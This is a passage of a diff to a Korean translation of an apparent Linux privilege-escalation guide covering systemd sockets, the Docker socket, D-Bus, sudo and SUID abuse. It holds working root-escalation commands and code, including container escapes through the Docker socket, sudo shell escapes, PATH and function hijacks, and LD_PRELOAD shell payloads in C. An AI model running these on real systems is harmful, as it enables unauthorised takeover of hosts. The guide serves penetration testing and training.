가능한 바이너리를 실행하는** 것을 찾습니다 +- **상대 경로를 실행하는** systemd unit을 찾고, 그 실행파일을 사칭하기 위해 **systemd PATH**에 대해 **쓰기 권한**을 가지고 있어야 합니다 (그 실행파일을 사칭하기 위해) -**타이머에 대해 더 알아보려면 `man systemd.timer`를 참조하세요.** +**timers에 대해 더 알아보려면 `man systemd.timer`를 확인하세요.** ### **타이머 활성화** -타이머를 활성화하려면 루트 권한이 필요하며 다음을 실행해야 합니다: +타이머를 활성화하려면 root 권한이 필요하며 다음을 실행해야 합니다: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -440,26 +441,26 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## Sockets -Unix Domain Sockets (UDS)는 클라이언트-서버 모델 내에서 동일하거나 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며, `.socket` 파일을 통해 설정됩니다. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -소켓은 `.socket` 파일을 사용하여 구성할 수 있습니다. +Sockets can be configured using `.socket` files. -**소켓에 대해 더 알아보려면 `man systemd.socket`를 참조하세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등) -- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 오직 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛에 전달**되며, 모든 연결에 대해 하나의 서비스 유닛만 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다. -- `ExecStartPre`, `ExecStartPost`: 하나 이상의 명령줄을 받으며, 이는 **소켓**/FIFO가 **생성**되고 바인딩되기 **전후**에 **실행**됩니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다. -- `ExecStopPre`, `ExecStopPost`: 추가 **명령**으로, 이는 **소켓**/FIFO가 **닫히고** 제거되기 **전후**에 **실행**됩니다. -- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본적으로 소켓과 동일한 이름을 가진 서비스(접미사가 교체됨)로 설정됩니다. 대부분의 경우, 이 옵션을 사용할 필요는 없습니다. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -**쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 추가할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\ -_시스템이 해당 소켓 파일 구성을 사용해야 백도어가 실행됩니다._ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -**쓰기 가능한 소켓을 식별하면** (_지금은 Unix 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해서는 아닙니다_), **해당 소켓과 통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. ### Enumerate Unix Sockets ```bash @@ -474,57 +475,57 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**악용 예시:** +**Exploitation example:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP 소켓 +### HTTP sockets -HTTP 요청을 수신 대기하는 **소켓이 있을 수 있습니다** (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다: +다음과 같이 **sockets listening for HTTP** 요청이 있을 수 있다는 점에 유의하세요 (_.socket files가 아니라 unix sockets로 동작하는 파일들을 말합니다_). 다음 명령으로 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +소켓이 **HTTP 요청에 응답한다면**, 해당 소켓과 **통신**할 수 있고 때로는 **exploit some vulnerability**할 수도 있습니다. -### Writable Docker Socket +### 쓰기 가능한 Docker 소켓 -Docker 소켓은 일반적으로 `/var/run/docker.sock`에 위치하며, 보안이 필요한 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 구성원이 쓸 수 있습니다. 이 소켓에 대한 쓰기 권한을 가지면 권한 상승이 발생할 수 있습니다. 다음은 이를 수행하는 방법과 Docker CLI를 사용할 수 없는 경우의 대체 방법에 대한 설명입니다. +Docker 소켓(종종 `/var/run/docker.sock`에 위치함)은 보안이 필요한 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 멤버에게 쓰기 권한이 부여되어 있습니다. 이 소켓에 대한 쓰기 권한을 가지면 privilege escalation으로 이어질 수 있습니다. 다음은 이를 수행하는 방법과 Docker CLI를 사용할 수 없는 경우의 대안 방법들에 대한 설명입니다. #### **Privilege Escalation with Docker CLI** -Docker 소켓에 대한 쓰기 권한이 있는 경우, 다음 명령어를 사용하여 권한을 상승시킬 수 있습니다: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -이 명령어는 호스트의 파일 시스템에 대한 루트 수준 액세스를 가진 컨테이너를 실행할 수 있게 해줍니다. +These commands allow you to run a container with root-level access to the host's file system. #### **Docker API 직접 사용하기** -Docker CLI를 사용할 수 없는 경우에도 Docker 소켓을 Docker API와 `curl` 명령어를 사용하여 조작할 수 있습니다. +Docker CLI를 사용할 수 없는 경우에도 Docker 소켓은 Docker API와 `curl` 명령으로 조작할 수 있습니다. -1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 가져옵니다. +1. **List Docker Images:** 사용 가능한 이미지 목록을 가져옵니다. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **컨테이너 생성:** 호스트 시스템의 루트 디렉토리를 마운트하는 컨테이너를 생성하기 위한 요청을 보냅니다. +2. **Create a Container:** 호스트 시스템의 루트 디렉토리를 마운트하는 컨테이너를 생성하도록 요청을 전송합니다. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -새로 생성된 컨테이너를 시작합니다: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **컨테이너에 연결:** `socat`을 사용하여 컨테이너에 연결을 설정하고, 그 안에서 명령을 실행할 수 있게 합니다. +3. **Attach to the Container:** `socat`를 사용해 컨테이너와 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가지고 컨테이너 내에서 직접 명령을 실행할 수 있습니다. +`socat` 연결을 설정한 후에는 컨테이너 내에서 호스트 파일시스템에 대한 루트 권한으로 직접 명령을 실행할 수 있습니다. ### 기타 -**docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/index.html#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 타협할 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +docker 소켓에 대한 쓰기 권한이 있고 **그룹 `docker`의 구성원**이라면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 확인하세요. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 해당 API를 악용할 수도 있습니다. -**docker에서 탈출하거나 권한을 상승시키기 위해 남용할 수 있는 더 많은 방법**을 확인하세요: +다음에서 **more ways to break out from docker or abuse it to escalate privileges**를 확인하세요: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 권한 상승 +## Containerd (ctr) privilege escalation -**`ctr`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 이를 남용할 수 있습니다**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 권한 상승 +## **RunC** privilege escalation -**`runc`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 이를 남용할 수 있습니다**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -567,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus는 애플리케이션이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. +D-Bus는 애플리케이션이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **inter-Process Communication (IPC) system**입니다. 현대 Linux 시스템을 염두에 두고 설계되었으며, 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다. -이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다. +이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 **향상된 UNIX 도메인 소켓(enhanced UNIX domain sockets)**을 연상시킵니다. 또한 이벤트나 신호를 브로드캐스트하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, 블루투스 데몬에서 걸려오는 전화에 대한 신호가 오면 음악 재생기가 자동으로 음소거되는 식으로 사용자 경험을 향상시킬 수 있습니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청과 메서드 호출을 단순화하여 전통적으로 복잡했던 과정을 간소화합니다. -D-Bus는 **허용/거부 모델**에 따라 작동하며, 메시지 권한(메서드 호출, 신호 전송 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다. +D-Bus는 **allow/deny model**로 동작하며, 정책 규칙의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 권한을 악용하면 privilege escalation으로 이어질 수 있습니다. -`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 상세히 설명합니다. +예를 들어 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책은 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고, 해당 대상에게 메시지를 보내고 받을 수 있는 권한을 상세히 기술하고 있습니다. -지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다. +사용자나 그룹이 지정되지 않은 정책은 모든 대상에 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 포함되지 않는 모든 대상에 적용됩니다. ```xml @@ -584,7 +585,7 @@ D-Bus는 **허용/거부 모델**에 따라 작동하며, 메시지 권한(메 ``` -**D-Bus 통신을 열거하고 악용하는 방법을 여기에서 배우세요:** +**여기에서 D-Bus 통신을 enumerate 및 exploit하는 방법을 알아보세요:** {{#ref}} @@ -593,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **네트워크** -네트워크를 열거하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다. +네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다. -### 일반적인 열거 +### 일반적인 enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -618,16 +619,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### 열린 포트 -항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: +접근하기 전에 이전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 항상 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -트래픽을 스니핑할 수 있는지 확인하세요. 가능하다면, 자격 증명을 잡을 수 있을 것입니다. +sniff traffic이 가능한지 확인하세요. 가능하면 일부 credentials를 획득할 수 있습니다. ``` timeout 1 tcpdump ``` @@ -635,7 +636,7 @@ timeout 1 tcpdump ### Generic Enumeration -당신이 **누구**인지, 어떤 **권한**이 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자가 **로그인**할 수 있는지, 그리고 어떤 사용자가 **루트 권한**을 가지고 있는지 확인하십시오: +자신이 **who**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 어떤 사용자가 **login**할 수 있는지, 그리고 어떤 사용자가 **root privileges**를 가지고 있는지 확인하세요: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,23 +658,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### 큰 UID -일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**이용하기**: **`systemd-run -t /bin/bash`** +일부 Linux 버전은 **UID > INT_MAX** 사용자가 권한 상승을 할 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**악용 방법:** **`systemd-run -t /bin/bash`** -### Groups +### 그룹 -루트 권한을 부여할 수 있는 **그룹의 구성원인지 확인**하세요: +root 권한을 줄 수 있는 어떤 그룹의 **멤버**인지 확인하세요: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### 클립보드 -클립보드에 흥미로운 내용이 있는지 확인하세요 (가능한 경우) +가능하면 클립보드에 흥미로운 내용이 있는지 확인하세요. ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -684,33 +685,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### 비밀번호 정책 +### 암호 정책 ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### 알려진 비밀번호 -환경의 **비밀번호를 알고 있다면** 각 사용자로 **로그인해 보세요**. +환경의 **비밀번호를 알고 있다면** 그 비밀번호로 **각 사용자로 로그인해 보세요**. ### Su Brute -소음이 많이 발생하는 것을 신경 쓰지 않고 `su`와 `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위로 공격해 볼 수 있습니다.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)도 `-a` 매개변수를 사용하여 사용자를 무작위로 공격합니다. +많은 노이즈를 발생시키는 것을 신경 쓰지 않고 대상 컴퓨터에 `su`와 `timeout` 바이너리가 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 무차별 대입 공격해 볼 수 있습니다.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)는 `-a` 파라미터로 사용자 무차별 대입도 시도합니다. -## 쓰기 가능한 PATH 남용 +## Writable PATH abuses ### $PATH -$PATH의 **어떤 폴더 안에 쓸 수 있는 권한이 있다면**, **쓰기 가능한 폴더 안에 백도어를 생성**하여 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름을 사용할 수 있습니다. 이 명령은 $PATH에서 귀하의 쓰기 가능한 폴더보다 **앞에 위치한 폴더에서 로드되지 않아야** 합니다. +$PATH의 어떤 폴더에 **쓰기할 수 있는** 것을 발견하면, 그 쓰기 가능한 폴더 안에 **backdoor를 생성**하여 다른 사용자(가능하면 root)가 실행할 때 권한 상승을 할 수 있습니다. 단, 해당 명령은 $PATH에서 당신의 쓰기 가능한 폴더보다 앞에 위치한 폴더에서 **로드되지 않아야** 합니다. -### SUDO 및 SUID +### SUDO and SUID -sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되었거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요: +sudo를 사용해 특정 명령을 실행할 수 있거나, 일부 파일에 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용해 확인하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -일부 **예상치 못한 명령은 파일을 읽거나/또는 쓸 수 있거나 심지어 명령을 실행할 수 있게 해줍니다.** 예를 들어: +**일부 예상치 못한 commands는 파일을 읽고 및/또는 쓰거나 심지어 command를 실행할 수 있게 합니다.** For example: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +722,31 @@ less>! ``` ### NOPASSWD -Sudo 구성은 사용자가 비밀번호를 모르고 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용할 수 있습니다. +Sudo 구성은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용할 수 있습니다. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -이 예에서 사용자 `demo`는 `root`로 `vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다. +이 예제에서 사용자 `demo`는 `root`로 `vim`을 실행할 수 있으므로, 루트 디렉터리에 ssh key를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 이제 사소한 일입니다. ``` sudo vim -c '!sh' ``` ### SETENV -이 지시어는 사용자가 무언가를 실행하는 동안 **환경 변수를 설정**할 수 있게 해줍니다: +이 지시문은 사용자가 무언가를 실행하는 동안 **환경 변수를 설정**할 수 있게 해줍니다: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -이 예제는 **HTB 머신 Admirer**를 기반으로 하며, 스크립트를 루트로 실행할 때 임의의 파이썬 라이브러리를 로드하기 위해 **PYTHONPATH 하이재킹**에 **취약**했습니다: +이 예제는 **based on HTB machine Admirer**로, 스크립트를 root로 실행하는 동안 임의의 python 라이브러리를 로드할 수 있도록 **vulnerable** to **PYTHONPATH hijacking**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 실행 우회 경로 +### Sudo 실행 경로 우회 -**다른 파일로 점프**하거나 **심볼릭 링크**를 사용합니다. 예를 들어 sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump**를 통해 다른 파일을 읽거나 **symlinks**를 사용하세요. 예를 들어 sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,50 +756,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -와일드카드(**wildcard**)가 사용되면(\*), 훨씬 더 쉽습니다: +만약 **wildcard**가 사용된다면 (\*), 훨씬 더 쉽습니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo 명령어/SUID 바이너리 경로 없이 +### Sudo command/SUID binary 명령 경로 없이 -**sudo 권한**이 단일 명령어에 **경로를 지정하지 않고** 부여된 경우: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. +만약 **sudo permission**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 때도 사용할 수 있습니다 (이상한 SUID 바이너리의 내용을 항상 _**strings**_로 확인하세요)**. +이 기법은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행하는 경우(항상 **_strings_** 로 이상한 SUID 바이너리의 내용을 확인하세요)**에도 사용할 수 있습니다. -[실행할 페이로드 예시.](payloads-to-execute.md) +[실행할 Payload 예제.](payloads-to-execute.md) -### 명령 경로가 있는 SUID 바이너리 +### 명령 경로가 있는 SUID binary -만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다. +만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령 이름으로 된 함수를 만들어 **함수를 export** 해보면 됩니다. -예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출하는 경우, 함수를 생성하고 내보내기 위해 시도해야 합니다: +예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 명령 이름으로 함수를 생성하고 export 시도해야 합니다: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -그런 다음, suid 바이너리를 호출하면 이 함수가 실행됩니다. +그런 다음 suid 바이너리를 호출하면 이 함수가 실행됩니다 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정은 라이브러리를 미리 로드하는 것으로 알려져 있습니다. +**LD_PRELOAD** 환경 변수는 하나 이상의 공유 라이브러리(.so 파일)를 표준 C 라이브러리(`libc.so`)를 포함한 다른 모든 라이브러리보다 먼저 loader에 의해 로드되도록 지정하는 데 사용됩니다. 이 과정을 라이브러리 사전 로드(preloading a library)라고 합니다. -그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다: +그러나 이 기능이 악용되는 것을 방지하고 시스템 보안을 유지하기 위해, 특히 **suid/sgid** 실행파일과 관련해서 시스템은 몇 가지 조건을 강제합니다: -- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다. -- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 미리 로드됩니다. +- loader는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행파일에 대해 **LD_PRELOAD**를 무시합니다. +- suid/sgid가 설정된 실행파일의 경우, 사전 로드되는 라이브러리는 표준 경로에 있고 또한 suid/sgid인 것들로만 제한됩니다. -권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문구가 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드 실행으로 이어질 수 있습니다. +권한 상승은 `sudo`로 명령을 실행할 수 있고 `sudo -l` 출력에 **env_keep+=LD_PRELOAD** 문구가 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 `sudo`로 명령을 실행할 때도 유지되고 인식되게 하여, 잠재적으로 권한이 상승된 상태로 임의의 코드를 실행하게 할 수 있습니다. ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c**로 저장하세요. +다음 경로로 저장: **/tmp/pe.c** ```c #include #include @@ -811,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -그런 다음 **컴파일하세요**: +그런 다음 **compile it** using: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -마지막으로, **권한 상승** 실행 +마지막으로, 실행 중에 **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우 유사한 권한 상승이 악용될 수 있습니다. 왜냐하면 그는 라이브러리가 검색될 경로를 제어하기 때문입니다. +> 비슷한 privesc는 공격자가 **LD_LIBRARY_PATH** env variable을 제어하는 경우 악용될 수 있습니다. 이는 공격자가 라이브러리가 검색될 경로를 제어하기 때문입니다. ```c #include #include @@ -841,15 +842,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID 바이너리 – .so 주입 +### SUID Binary – .so injection -비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다: +정상적이지 않아 보이는 **SUID** 권한을 가진 binary를 만났을 때, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령을 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (해당 파일이나 디렉토리가 없습니다)"_와 같은 오류가 발생하면, 이는 악용 가능성을 시사합니다. +예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면 잠재적인 취약점이 있음을 나타냅니다. -이를 악용하기 위해, _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시켜야 합니다: +이를 exploit하기 위해서는, 예를 들어 _"/path/to/.config/libcalc.c"_ 라는 C 파일을 생성하고 다음 코드를 포함하도록 합니다: ```c #include #include @@ -860,15 +861,15 @@ void inject(){ system("cp 